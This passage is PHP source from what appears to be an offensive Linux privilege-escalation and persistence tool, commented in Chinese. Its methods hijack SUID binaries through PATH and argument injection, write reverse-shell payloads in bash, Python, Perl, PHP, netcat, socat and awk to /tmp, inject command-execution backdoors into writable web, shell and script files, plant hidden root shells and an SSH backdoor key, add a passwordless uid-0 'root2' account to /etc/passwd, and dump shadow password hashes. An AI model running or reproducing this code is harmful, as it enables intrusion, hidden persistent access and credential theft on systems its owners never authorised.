if (file_put_contents("/tmp/user_shell", $shellScript) !== false) {
chmod("/tmp/user_shell", 0755);
// 尝试更改该用户的shell
list($output, $code) = $this->executeCommand("echo '$chshPath -s /tmp/user_shell $user' | $chshPath");
if ($code === 0) {
$this->printSuccess("尝试更改用户 $user 的shell成功");
}
}
break;
}
}
}
}
// 新增:mount利用技术
private function tryMountExploitation($mountPath) {
$this->printInfo("尝试mount利用技术...");
// 检查是否可以挂载可写目录
list($mounts, $code) = $this->executeCommand("$mountPath | grep -E '(tmp|var)'");
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
if (strpos($mount, 'rw') !== false) {
$this->printWarning("发现可读写挂载点: $mount");
// 可以尝试在此挂载点创建后门文件
}
}
}
// 尝试bind挂载/etc目录到可写位置
if (is_writable('/tmp')) {
list($output, $code) = $this->executeCommand("$mountPath --bind /etc /tmp/etc_copy 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功bind挂载/etc到/tmp/etc_copy");
}
}
}
// 新增:umount利用技术
private function tryUmountExploitation($umountPath) {
$this->printInfo("尝试umount利用技术...");
// 尝试卸载某些挂载点,可能会暴露新的提权机会
list($mounts, $code) = $this->executeCommand("mount | head -5");
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
// 提取挂载点
if (preg_match('/on ([^ ]+) type/', $mount, $matches)) {
$mountPoint = $matches[1];
// 不要卸载根目录或重要系统目录
if ($mountPoint !== '/' && strpos($mountPoint, '/proc') === false && strpos($mountPoint, '/sys') === false) {
$this->printInfo("可以尝试卸载: $mountPoint");
}
}
}
}
}
// 新增:高级passwd利用技术
private function tryPasswdExploitationAdvanced($passwdPath) {
$this->printInfo("尝试高级passwd利用技术...");
// 方法1: 尝试创建软链接攻击
if (is_writable('/tmp')) {
// 创建一个软链接到/etc/passwd
list($output, $code) = $this->executeCommand("ln -sf /etc/passwd /tmp/passwd_link 2>/dev/null");
if ($code === 0) {
$this->printInfo("创建了passwd软链接: /tmp/passwd_link");
}
}
// 方法2: 尝试利用passwd的备份功能
list($output, $code) = $this->executeCommand("echo 'y' | $passwdPath 2>/dev/null");
if ($code !== 0) {
$this->printInfo("passwd交互式利用不可行");
}
}
// 新增:通用高级SUID利用技术
private function tryGenericAdvancedSuidExploitation($file) {
$this->printInfo("尝试通用高级SUID利用技术...");
// 方法1: 环境变量利用
$this->trySuidEnvExploitation($file);
// 方法2: 路径劫持利用
$this->trySuidPathExploitation($file);
// 方法3: 参数注入利用
$this->trySuidArgumentExploitation($file);
}
// 新增:SUID环境变量利用
private function trySuidEnvExploitation($file) {
$this->printInfo("尝试SUID环境变量利用...");
// 创建恶意程序
$maliciousProgram = '#!/bin/bash
echo "Malicious code executed as $(whoami)" > /tmp/suid_env_result
/bin/bash -p';
if (file_put_contents('/tmp/malicious', $maliciousProgram) !== false) {
chmod('/tmp/malicious', 0755);
// 尝试通过环境变量执行
list($output, $code) = $this->executeCommand("PATH=/tmp:\$PATH $file 2>/dev/null");
if ($code === 0) {
if (file_exists('/tmp/suid_env_result')) {
$this->printSuccess("SUID环境变量利用成功");
}
}
}
}
// 新增:SUID路径劫持利用
private function trySuidPathExploitation($file) {
$this->printInfo("尝试SUID路径劫持利用...");
// 创建一个临时目录并添加到PATH
if (is_writable('/tmp')) {
// 创建恶意ls命令
$maliciousLs = '#!/bin/bash
/bin/bash -p';
if (file_put_contents('/tmp/ls', $maliciousLs) !== false) {
chmod('/tmp/ls', 0755);
// 尝试执行SUID文件,希望它会调用ls
list($output, $code) = $this->executeCommand("PATH=/tmp:\$PATH $file 2>/dev/null");
// 不检查返回码,因为可能会出错,但可能已经执行了恶意代码
}
}
}
// 新增:SUID参数注入利用
private function trySuidArgumentExploitation($file) {
$this->printInfo("尝试SUID参数注入利用...");
// 尝试不同的参数组合
$testArgs = [
'--help; /bin/bash -p',
'-h; /bin/bash -p',
'; /bin/bash -p',
'"; /bin/bash -p; echo "',
"'; /bin/bash -p; echo '"
];
foreach ($testArgs as $arg) {
list($output, $code) = $this->executeCommand("$file $arg 2>/dev/null");
// 检查是否获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("SUID参数注入利用成功!");
// 创建持久化后门
$this->createPersistentBackdoor('/bin/bash -p');
break;
}
}
}
// 在noSudoExploitation方法中添加更多高级提权技术
private function noSudoExploitation() {
$this->printInfo("=== 无Sudo环境提权检测 ===");
// 1. 检查SUID/SGID文件
$this->checkAdditionalSuidFiles();
// 2. 检查可利用的服务
$this->checkExploitableServices();
// 3. 检查定时任务
$this->checkWritableCronJobs();
// 4. 检查可写的系统配置文件
$this->checkWritableSystemConfigs();
// 5. 检查可利用的内核模块
$this->checkExploitableKernelModules();
// 6. 检查可利用的数据库
$this->checkExploitableDatabases();
// 7. 检查可利用的应用程序
$this->checkExploitableApplications();
// 8. 检查可利用的Python库
$this->checkExploitablePythonLibs();
// 9. 检查LD_PRELOAD利用可能性
$this->checkLdPreloadExploitation();
// 10. 检查Web相关提权向量
$this->checkWebExploitationVectors();
// 11. 检查capabilities滥用
$this->checkCapabilitiesAbuse();
// 12. 检查内存转储和敏感信息泄露
$this->checkMemoryDumpExploitation();
// 13. 检查Apache特定提权向量(根据信息.txt中发现运行Apache)
$this->checkApacheExploitation();
// 14. 检查高级文件系统利用技术
$this->checkAdvancedFileSystemExploitation();
// 15. 检查进程注入和劫持技术
$this->checkProcessInjectionTechniques();
// 16. 检查反弹shell可能性
$this->checkReverseShellPossibilities();
echo "\n";
}
// 新增:检查反弹shell可能性
private function checkReverseShellPossibilities() {
$this->printInfo("检查反弹shell可能性...");
// 1. 检查可用的反弹shell工具
$this->checkAvailableReverseShellTools();
// 2. 检查网络连接可能性
$this->checkNetworkConnectivity();
// 3. 检查防火墙规则
$this->checkFirewallRules();
// 4. 创建反弹shell载荷
$this->createReverseShellPayloads();
}
// 新增:检查可用的反弹shell工具
private function checkAvailableReverseShellTools() {
$this->printInfo("检查可用的反弹shell工具...");
$tools = [
'nc' => 'netcat反弹shell',
'netcat' => 'netcat反弹shell',
'ncat' => 'nmap netcat反弹shell',
'bash' => 'bash反弹shell',
'sh' => 'sh反弹shell',
'python' => 'python反弹shell',
'python3' => 'python3反弹shell',
'perl' => 'perl反弹shell',
'php' => 'php反弹shell',
'ruby' => 'ruby反弹shell',
'socat' => 'socat反弹shell',
'awk' => 'awk反弹shell',
'telnet' => 'telnet反弹shell'
];
foreach ($tools as $tool => $description) {
list($output, $code) = $this->executeCommand("which $tool 2>/dev/null");
if (is_array($output) && !empty($output)) {
$this->printSuccess("可用反弹shell工具: " . $tool . " -> " . $output[0]);
$this->printInfo(" 工具说明: " . $description);
// 为可用工具生成使用示例
$this->generateReverseShellExample($tool);
}
}
}
// 新增:生成反弹shell使用示例
private function generateReverseShellExample($tool) {
$this->printInfo("生成" . $tool . "反弹shell示例...");
// 获取本机IP(在实际环境中可能需要手动指定)
list($localIp, $code) = $this->executeCommand("hostname -I 2>/dev/null | awk '{print \$1}'");
if (empty($localIp) || $code !== 0) {
$localIp = "10.0.0.1"; // 默认IP
} else {
$localIp = trim($localIp[0]);
}
$localPort = "4444"; // 默认端口
$examples = [
'nc' => "nc $localIp $localPort -e /bin/bash",
'netcat' => "netcat $localIp $localPort -e /bin/bash",
'ncat' => "ncat $localIp $localPort -e /bin/bash",
'bash' => "bash -i >& /dev/tcp/$localIp/$localPort 0>&1",
'sh' => "sh -i >& /dev/tcp/$localIp/$localPort 0>&1",
'python' => "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$localIp\",$localPort));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'",
'python3' => "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$localIp\",$localPort));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'",
'perl' => "perl -e 'use Socket;\$i=\"$localIp\";\$p=$localPort;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'",
'php' => "php -r '\$sock=fsockopen(\"$localIp\",$localPort);exec(\"/bin/bash -i <&3 >&3 2>&3\");'",
'ruby' => "ruby -rsocket -e 'f=TCPSocket.open(\"$localIp\",$localPort).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'",
'socat' => "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$localIp:$localPort",
'awk' => "awk 'BEGIN {s = \"/inet/tcp/0/$localIp/$localPort\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null"
];
if (isset($examples[$tool])) {
$this->printSuccess("" . $tool . "反弹shell命令:");
echo " {$examples[$tool]}\n";
// 保存到文件
$payloadFile = "/tmp/{$tool}_reverse_shell.txt";
if (file_put_contents($payloadFile, $examples[$tool]) !== false) {
$this->printInfo("反弹shell命令已保存到: $payloadFile");
}
}
}
// 新增:检查网络连接可能性
private function checkNetworkConnectivity() {
$this->printInfo("检查网络连接可能性...");
// 检查是否可以连接到外部
list($output, $code) = $this->executeCommand("ping -c 1 8.8.8.8 2>/dev/null");
if ($code === 0) {
$this->printSuccess("可以连接到外部网络");
} else {
$this->printWarning("可能无法直接连接到外部网络");
// 检查是否有代理设置
$proxyVars = ['http_proxy', 'https_proxy', 'HTTP_PROXY', 'HTTPS_PROXY'];
foreach ($proxyVars as $var) {
$proxy = getenv($var);
if (!empty($proxy)) {
$this->printInfo("发现代理设置: $var=$proxy");
}
}
}
// 检查端口开放情况
list($output, $code) = $this->executeCommand("cat /proc/net/tcp 2>/dev/null | wc -l");
if (is_array($output) && !empty($output)) {
$tcpConnections = intval(trim($output[0])) - 1; // 减去标题行
$this->printInfo("TCP连接数: $tcpConnections");
}
}
// 新增:检查防火墙规则
private function checkFirewallRules() {
$this->printInfo("检查防火墙规则...");
// 检查iptables
list($iptables, $code) = $this->executeCommand("which iptables 2>/dev/null");
if (is_array($iptables) && !empty($iptables)) {
$this->printInfo("发现iptables: " . $iptables[0]);
// 检查基本规则
list($rules, $code) = $this->executeCommand("iptables -L 2>/dev/null | head -5");
if (is_array($rules) && !empty($rules)) {
$this->printInfo("iptables规则 (前5行):");
foreach ($rules as $rule) {
echo " $rule\n";
}
}
}
// 检查firewalld
list($firewalld, $code) = $this->executeCommand("which firewall-cmd 2>/dev/null");
if (is_array($firewalld) && !empty($firewalld)) {
$this->printInfo("发现firewalld: " . $firewalld[0]);
}
}
// 新增:创建反弹shell载荷
private function createReverseShellPayloads() {
$this->printInfo("创建反弹shell载荷...");
// 获取本机IP
list($localIp, $code) = $this->executeCommand("hostname -I 2>/dev/null | awk '{print \$1}'");
if (empty($localIp) || $code !== 0) {
$localIp = "10.0.0.1";
} else {
$localIp = trim($localIp[0]);
}
$localPort = "4444";
// 1. 创建bash反弹shell脚本
$bashPayload = "#!/bin/bash\nbash -i >& /dev/tcp/$localIp/$localPort 0>&1 &";
if (file_put_contents('/tmp/reverse.sh', $bashPayload) !== false) {
chmod('/tmp/reverse.sh', 0755);
$this->printSuccess("Bash反弹shell脚本创建成功: /tmp/reverse.sh");
}
// 2. 创建Python反弹shell脚本
$pythonPayload = "#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('$localIp',$localPort))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])";
if (file_put_contents('/tmp/reverse.py', $pythonPayload) !== false) {
chmod('/tmp/reverse.py', 0755);
$this->printSuccess("Python反弹shell脚本创建成功: /tmp/reverse.py");
}
// 3. 创建Perl反弹shell脚本
$perlPayload = "#!/usr/bin/perl
use Socket;
\$i='$localIp';
\$p=$localPort;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){
open(STDIN,'>&S');
open(STDOUT,'>&S');
open(STDERR,'>&S');
exec('/bin/bash -i');
};";
if (file_put_contents('/tmp/reverse.pl', $perlPayload) !== false) {
chmod('/tmp/reverse.pl', 0755);
$this->printSuccess("Perl反弹shell脚本创建成功: /tmp/reverse.pl");
}
// 4. 创建PHP反弹shell脚本
$phpPayload = "<?php
\$sock=fsockopen('$localIp',$localPort);
exec('/bin/bash -i <&3 >&3 2>&3');
?>";
if (file_put_contents('/tmp/reverse.php', $phpPayload) !== false) {
$this->printSuccess("PHP反弹shell脚本创建成功: /tmp/reverse.php");
}
// 5. 创建Netcat反弹shell命令文件
$ncPayload = "nc $localIp $localPort -e /bin/bash";
if (file_put_contents('/tmp/nc_reverse.txt', $ncPayload) !== false) {
$this->printSuccess("Netcat反弹shell命令保存成功: /tmp/nc_reverse.txt");
}
$this->printInfo("请在本地监听端口: nc -lvnp $localPort");
}
// 新增:高级文件系统利用技术
private function checkAdvancedFileSystemExploitation() {
$this->printInfo("检查高级文件系统利用技术...");
// 检查符号链接攻击可能性
$this->checkSymlinkAttackPossibility();
// 检查硬链接攻击可能性
$this->checkHardlinkAttackPossibility();
// 检查inode重用攻击
$this->checkInodeReuseAttack();
}
// 新增:符号链接攻击检查
private function checkSymlinkAttackPossibility() {
$this->printInfo("检查符号链接攻击可能性...");
// 检查是否有特权进程可能受到符号链接攻击
list($processes, $code) = $this->executeCommand("ps aux | grep -E '(backup|cron|log)' | grep -v grep");
if (is_array($processes) && !empty($processes)) {
foreach ($processes as $process) {
$this->printWarning("可能受符号链接攻击影响的进程: $process");
}
}
// 检查临时目录的使用
$tempDirs = ['/tmp', '/var/tmp'];
foreach ($tempDirs as $dir) {
if (is_writable($dir)) {
$this->printInfo("可写临时目录: $dir (可用于符号链接攻击)");
}
}
}
// 新增:硬链接攻击检查
private function checkHardlinkAttackPossibility() {
$this->printInfo("检查硬链接攻击可能性...");
// 检查可写的系统目录
$writableSystemDirs = ['/tmp', '/var/tmp', '/dev/shm'];
foreach ($writableSystemDirs as $dir) {
if (is_writable($dir)) {
$this->printInfo("可写系统目录: $dir (可用于硬链接攻击)");
}
}
}
// 新增:inode重用攻击检查
private function checkInodeReuseAttack() {
$this->printInfo("检查inode重用攻击可能性...");
// 检查是否有定期删除文件的进程
list($cronJobs, $code) = $this->executeCommand("crontab -l 2>/dev/null");
if (is_array($cronJobs) && !empty($cronJobs)) {
foreach ($cronJobs as $job) {
if (strpos($job, 'rm ') !== false || strpos($job, 'delete') !== false) {
$this->printWarning("可能受inode重用攻击影响的计划任务: $job");
}
}
}
}
// 新增:进程注入和劫持技术检查
private function checkProcessInjectionTechniques() {
$this->printInfo("检查进程注入和劫持技术...");
// 检查可附加的进程
list($attachable, $code) = $this->executeCommand("ps aux | grep -v '[[]' | grep -v 'grep'");
if (is_array($attachable) && !empty($attachable)) {
$this->printInfo("可附加调试的进程数量: " . (count($attachable) - 1));
}
// 检查ptrace权限
list($ptrace, $code) = $this->executeCommand("grep -i ptrace /proc/self/status 2>/dev/null");
if (is_array($ptrace) && !empty($ptrace)) {
$this->printInfo("ptrace状态: " . $ptrace[0]);
}
}
// 新增:使用base64创建root shell
private function tryBase64RootShell($base64Path) {
$this->printInfo("尝试使用base64创建root shell...");
// 创建一个具有root权限的shell脚本
$shellScript = "#!/bin/bash\n/bin/bash -p";
$encodedScript = base64_encode($shellScript);
// 使用base64解码并创建shell脚本
list($output, $code) = $this->executeCommand("echo $encodedScript | base64 --decode > /tmp/rootshell");
if ($code === 0) {
// 添加执行权限
list($output, $code) = $this->executeCommand("chmod +s /tmp/rootshell");
if ($code === 0) {
$this->printSuccess("成功创建root shell: /tmp/rootshell");
$this->printInfo("使用方法: /tmp/rootshell");
}
}
}
// 新增:尝试破解shadow文件中的密码哈希
private function tryShadowCracking($shadowContent) {
$this->printInfo("尝试分析shadow文件中的密码哈希...");
if (is_array($shadowContent)) {
foreach ($shadowContent as $line) {
if (strpos($line, ':$') !== false) {
$parts = explode(':', $line);
$username = $parts[0];
$hash = $parts[1];
if (!empty($hash) && strlen($hash) > 10) {
$this->printWarning("用户 $username 的密码哈希: $hash");
// 简单判断哈希类型
if (strpos($hash, '$6$') !== false) {
$this->printInfo(" 哈希类型: SHA-512");
} elseif (strpos($hash, '$5$') !== false) {
$this->printInfo(" 哈希类型: SHA-256");
} elseif (strpos($hash, '$1$') !== false) {
$this->printInfo(" 哈希类型: MD5");
}
}
}
}
}
}
private function tryFindExploit($findPath) {
$this->printInfo("尝试利用find执行命令...");
$commands = [
"$findPath . -exec whoami \\; -quit",
"$findPath . -exec id \\; -quit",
"$findPath . -exec /bin/sh -p \\; -quit"
];
foreach ($commands as $cmd) {
list($output, $code) = $this->executeCommand($cmd);
if (is_array($output) && !empty($output) && $output[0] != $this->currentUser) {
$this->printSuccess("find提权成功! 当前用户: " . $output[0]);
break;
}
}
}
// 新增:chsh利用方法
private function tryChshExploit($chshPath) {
$this->printInfo("尝试利用chsh...");
// 尝试将shell更改为bash
list($output, $code) = $this->executeCommand("echo '$chshPath -s /bin/bash' | $chshPath");
if ($code === 0) {
$this->printSuccess("chsh利用成功,shell已更改为bash");
}
}
// 新增:创建持久化后门
private function createPersistentBackdoor($suidFile) {
$this->printInfo("创建持久化后门...");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
// 创建一个简单的root shell
$backdoorContent = "#!/bin/bash\n$suidFile";
if (file_put_contents('/tmp/suid_backdoor', $backdoorContent) !== false) {
chmod('/tmp/suid_backdoor', 0755);
$this->printSuccess("持久化后门已创建: /tmp/suid_backdoor");
$this->printSuccess("后门使用方法: /tmp/suid_backdoor");
}
} else {
$this->printWarning("未获得root权限,跳过后门创建");
}
}
private function tryExecuteFile($file) {
$this->printInfo("尝试执行文件: $file");
// 检查文件类型
list($output, $code) = $this->executeCommand("file $file");
if (is_array($output) && !empty($output)) {
$this->printInfo("文件类型: " . $output[0]);
}
// 尝试执行
list($output, $code) = $this->executeCommand("echo 'whoami' | $file 2>&1");
if (is_array($output) && !empty($output)) {
foreach ($output as $line) {
if (strpos($line, 'root') !== false) {
$this->printSuccess("文件执行成功,获得root权限!");
}
}
}
}
private function sudoExploitation() {
$this->printInfo("=== Sudo权限利用 ===");
// 检查sudo是否存在
list($sudoCheck, $code) = $this->executeCommand('which sudo 2>/dev/null');
if (empty($sudoCheck)) {
$this->printInfo("系统中未安装sudo工具");
} else {
list($output, $code) = $this->executeCommand('sudo -l 2>/dev/null');
if (empty($output)) {
$this->printInfo("无sudo权限或sudo不可用");
} else {
if (is_array($output)) {
foreach ($output as $line) {
if (strpos($line, 'NOPASSWD') !== false) {
$this->printDanger("发现无密码sudo: $line");
// 提取命令并尝试利用
if (preg_match('/(\/[^\s]+)/', $line, $matches)) {
$cmd = $matches[1];
$this->trySudoCommand($cmd);
}
} else {
$this->printWarning("Sudo权限: $line");
}
}
}
}
}
echo "\n";
}
private function trySudoCommand($cmd) {
$exploits = [
'apt' => 'apt update && apt install -y netcat-traditional',
'yum' => 'yum install -y nc',
'systemctl' => 'systemctl restart ssh',
'cp' => 'cp /bin/bash /tmp/rootshell && chmod 4755 /tmp/rootshell',
'find' => 'find / -name root 2>/dev/null',
'vim' => 'vim -c \':!bash\'',
'awk' => 'awk \'BEGIN {system(\"/bin/bash\")}\'',
'less' => 'less /etc/profile',
'more' => 'more /etc/profile',
'man' => 'man ls'
];
$basename = basename($cmd);
if (isset($exploits[$basename])) {
$this->printInfo("尝试利用 $cmd ...");
list($output, $code) = $this->executeCommand("sudo $cmd " . $exploits[$basename]);
if ($code === 0) {
$this->printSuccess("sudo命令执行成功");
}
}
}
private function envExploitation() {
$this->printInfo("=== 环境变量利用 ===");
// 检查PATH滥用
$path = getenv('PATH');
$dirs = explode(':', $path);
foreach ($dirs as $dir) {
if (!empty($dir) && is_writable($dir)) {
$this->printDanger("PATH目录可写: $dir");
// 尝试创建恶意文件
$malicious = "$dir/exploit";
if (file_put_contents($malicious, "#!/bin/bash\nwhoami > /tmp/exploit_success\n") !== false) {
chmod($malicious, 0755);
$this->printWarning("已创建测试文件: $malicious");
}
}
}
// 检查敏感环境变量
$sensitiveVars = ['LD_PRELOAD', 'PS1', 'PROMPT_COMMAND', 'BASH_ENV'];
foreach ($sensitiveVars as $var) {
$value = getenv($var);
if (!empty($value)) {
$this->printWarning("敏感环境变量: $var=$value");
}
}
// 检查可利用的环境变量
$this->checkExploitableEnvVars();
echo "\n";
}
private function writableExploitation() {
$this->printInfo("=== 可写文件利用 ===");
// 查找可写文件
list($files, $code) = $this->executeCommand('find / -type f -writable 2>/dev/null | grep -vE "proc|sys|dev|/tmp/" | head -30');
$exploitable = [
'.sh' => 'shell脚本',
'.bash' => 'bash脚本',
'.py' => 'Python文件',
'.pl' => 'Perl文件',
'.rb' => 'Ruby文件',
'.php' => 'PHP文件',
'.jsp' => 'JSP文件',
'.asp' => 'ASP文件',
'.aspx' => 'ASPX文件',
'cron' => '计划任务',
'crontab' => '计划任务',
'service' => '服务文件',
'conf' => '配置文件',
'config' => '配置文件',
'ini' => 'INI配置文件',
'yaml' => 'YAML配置文件',
'yml' => 'YAML配置文件',
'json' => 'JSON配置文件',
'xml' => 'XML配置文件'
];
$exploitCount = 0;
if (is_array($files)) {
foreach ($files as $file) {
foreach ($exploitable as $ext => $desc) {
if (strpos($file, $ext) !== false) {
$this->printWarning("可写$desc: $file");
$exploitCount++;
// 尝试写入后门
if (in_array($ext, ['.php', '.jsp', '.asp', '.aspx'])) {
$this->injectWebBackdoor($file);
} elseif (in_array($ext, ['.sh', '.bash'])) {
$this->injectShellBackdoor($file);
} elseif (in_array($ext, ['.py'])) {
$this->injectPythonBackdoor($file);
} elseif (in_array($ext, ['.pl'])) {
$this->injectPerlBackdoor($file);
} elseif (in_array($ext, ['.rb'])) {
$this->injectRubyBackdoor($file);
}
break;
}
}
}
}
// 检查常见可写目录
$writableDirs = [
'/tmp',
'/var/tmp',
'/dev/shm',
'/var/www',
'/var/www/html',
'/usr/local/bin',
'/usr/bin'
];
foreach ($writableDirs as $dir) {
if (is_writable($dir)) {
$this->printWarning("可写目录: $dir");
// 在可写目录中创建后门
$this->createBackdoorInDir($dir);
}
}
// 检查/etc/passwd是否可写
if (is_writable('/etc/passwd')) {
$this->printDanger("/etc/passwd 文件可写!");
$this->tryPasswdExploit();
}
// 检查SSH目录是否可写
$sshDir = '/home/' . $this->currentUser . '/.ssh';
if (is_dir($sshDir) && is_writable($sshDir)) {
$this->printDanger("SSH目录可写: $sshDir");
$this->trySshKeyExploit($sshDir);
}
// 检查authorized_keys文件是否可写
$authKeys = $sshDir . '/authorized_keys';
if (file_exists($authKeys) && is_writable($authKeys)) {
$this->printDanger("authorized_keys文件可写: $authKeys");
}
// 检查Web目录可写性
$this->checkWebDirectoryWritable();
// 检查反弹shell载荷目录
$this->checkReverseShellDirectories();
if ($exploitCount == 0) {
$this->printInfo("未发现明显的可写利用文件");
}
echo "\n";
}
// 新增:检查反弹shell载荷目录
private function checkReverseShellDirectories() {
$this->printInfo("检查反弹shell载荷目录...");
$payloadDirs = ['/tmp', '/var/tmp', '/dev/shm'];
foreach ($payloadDirs as $dir) {
if (is_writable($dir)) {
$this->printInfo("可以在" . $dir . "目录创建反弹shell载荷");
}
}
}
// 新增:检查Web目录可写性
private function checkWebDirectoryWritable() {
$this->printInfo("检查Web目录可写性...");
$webDirs = ['/var/www', '/var/www/html', '/usr/local/apache2/htdocs', '/usr/share/nginx/html'];
foreach ($webDirs as $dir) {
if (is_dir($dir) && is_writable($dir)) {
$this->printDanger("Web目录可写: $dir");
// 创建Web后门
$this->createWebBackdoor($dir);
}
}
}
// 新增:注入Web后门
private function injectWebBackdoor($file) {
$backdoor = "<?php if(isset(\$_REQUEST['cmd'])){ system(\$_REQUEST['cmd']); } ?>";
// 避免重复注入
$content = file_get_contents($file);
if (strpos($content, "system(\$_REQUEST['cmd']") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Web后门注入成功: $file");
}
}
}
// 新增:注入Python后门
private function injectPythonBackdoor($file) {
$backdoor = "
import os
import sys
def backdoor():
if 'cmd' in os.environ:
os.system(os.environ['cmd'])
elif len(sys.argv) > 1:
os.system(' '.join(sys.argv[1:]))
if __name__ == '__main__':
backdoor()
";
$content = file_get_contents($file);
if (strpos($content, "def backdoor()") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Python后门注入成功: $file");
}
}
}
// 新增:注入Perl后门
private function injectPerlBackdoor($file) {
$backdoor = "
if (exists \$ENV{'CMD'}) {
system(\$ENV{'CMD'});
} elsif (\$ARGV[0]) {
system(\@ARGV);
}
";
$content = file_get_contents($file);
if (strpos($content, "system(\$ENV{'CMD'})") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Perl后门注入成功: $file");
}
}
}
// 新增:注入Ruby后门
private function injectRubyBackdoor($file) {
$backdoor = "
if ENV['CMD']
system(ENV['CMD'])
elsif ARGV.length > 0
system(ARGV.join(' '))
end
";
$content = file_get_contents($file);
if (strpos($content, "system(ENV['CMD'])") === false) {
if (file_put_contents($file, $backdoor . "\n" . $content, LOCK_EX) !== false) {
$this->printSuccess("Ruby后门注入成功: $file");
}
}
}
// 新增:在可写目录中创建后门
private function createBackdoorInDir($dir) {
// 创建shell脚本后门
$shellBackdoor = "#!/bin/bash\n/bin/bash -p";
$shellPath = "$dir/.system";
if (file_put_contents($shellPath, $shellBackdoor) !== false) {
chmod($shellPath, 0755);
$this->printSuccess("Shell后门创建成功: $shellPath");
}
// 创建Python后门
$pythonBackdoor = "#!/usr/bin/env python\nimport os\nos.system('/bin/bash -p')";
$pythonPath = "$dir/.system.py";
if (file_put_contents($pythonPath, $pythonBackdoor) !== false) {
chmod($pythonPath, 0755);
$this->printSuccess("Python后门创建成功: $pythonPath");
}
}
// 新增:SSH密钥利用
private function trySshKeyExploit($sshDir) {
// 生成SSH密钥对
list($output, $code) = $this->executeCommand("ssh-keygen -f $sshDir/backdoor -N '' 2>/dev/null");
if ($code === 0) {
// 将公钥添加到authorized_keys
list($pubKey, $code) = $this->executeCommand("cat $sshDir/backdoor.pub 2>/dev/null");
if (is_array($pubKey) && !empty($pubKey)) {
file_put_contents("$sshDir/authorized_keys", "\n" . $pubKey[0], FILE_APPEND | LOCK_EX);
$this->printSuccess("SSH后门密钥创建成功");
$this->printInfo("私钥位置: $sshDir/backdoor");
$this->printInfo("使用方法: ssh -i $sshDir/backdoor " . $this->currentUser . "@localhost");
}
}
}
private function injectShellBackdoor($file) {
$backdoor = "#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &\n";
$content = file_get_contents($file);
if (strpos($content, "/dev/tcp/") === false) {
if (file_put_contents($file, $backdoor . $content, LOCK_EX) !== false) {
$this->printSuccess("Shell后门注入成功: $file");
chmod($file, 0755);
}
}
}
private function tryPasswdExploit() {
$this->printInfo("尝试/etc/passwd提权...");
$rootPasswd = "root2::0:0:root:/root:/bin/bash\n";
if (file_put_contents('/etc/passwd', $rootPasswd, FILE_APPEND | LOCK_EX) !== false) {
$this->printSuccess("已添加root用户到/etc/passwd");
$this->printInfo("尝试切换用户: su root2");
list($output, $code) = $this->executeCommand('su root2 -c "whoami"');
if (is_array($output) && !empty($output) && $output[0] == 'root2') {
$this->printSuccess("提权成功! 当前用户: root2");
}
}
}
private function processExploitation() {
$this->printInfo("=== 进程与服务利用 ===");
// 检查运行的服务
list($output, $code) = $this->executeCommand('ps aux | head -20');
$this->printInfo("运行进程示例:");
if (is_array($output)) {
$linesToShow = array_slice($output, 0, 5);
foreach ($linesToShow as $line) {
echo " $line\n";
}
}
// 检查网络服务
list($netstat, $code) = $this->executeCommand('netstat -tuln 2>/dev/null | head -10');
if (empty($netstat)) {
list($netstat, $code) = $this->executeCommand('ss -tuln 2>/dev/null | head -10');
}
if (is_array($netstat) && !empty($netstat)) {
$this->printInfo("网络服务:");
foreach ($netstat as $line) {
echo " $line\n";
}
}
echo "\n";
}
private function cronExploitation() {
$this->printInfo("=== 计划任务利用 ===");
// 检查系统计划任务
$cronDirs = ['/etc/cron.d', '/etc/cron.hourly', '/etc/cron.daily', '/etc/cron.weekly', '/etc/cron.monthly'];
foreach ($cronDirs as $dir) {
if (is_dir($dir) && is_readable($dir)) {
list($files, $code) = $this->executeCommand("ls -la $dir 2>/dev/null");
if (is_array($files) && !empty($files)) {
$this->printInfo("$dir 内容:");
$filesToShow = array_slice($files, 0, 5);
foreach ($filesToShow as $file) {
echo " $file\n";
}
// 检查是否可写
if (is_writable($dir)) {
$this->printDanger("计划任务目录可写: $dir");
$this->createCronBackdoor($dir);
}
}
}
}
// 检查用户计划任务
list($output, $code) = $this->executeCommand('crontab -l 2>/dev/null');
if (is_array($output) && !empty($output)) {
$this->printWarning("用户cron任务:");
foreach ($output as $line) {
echo " $line\n";
}
}
// 检查可利用的定时任务服务
$this->checkExploitableCronServices();
echo "\n";
}
// 新增:创建LD_PRELOAD恶意库的函数
private function createMaliciousLibrary() {
$this->printInfo("创建LD_PRELOAD恶意库...");
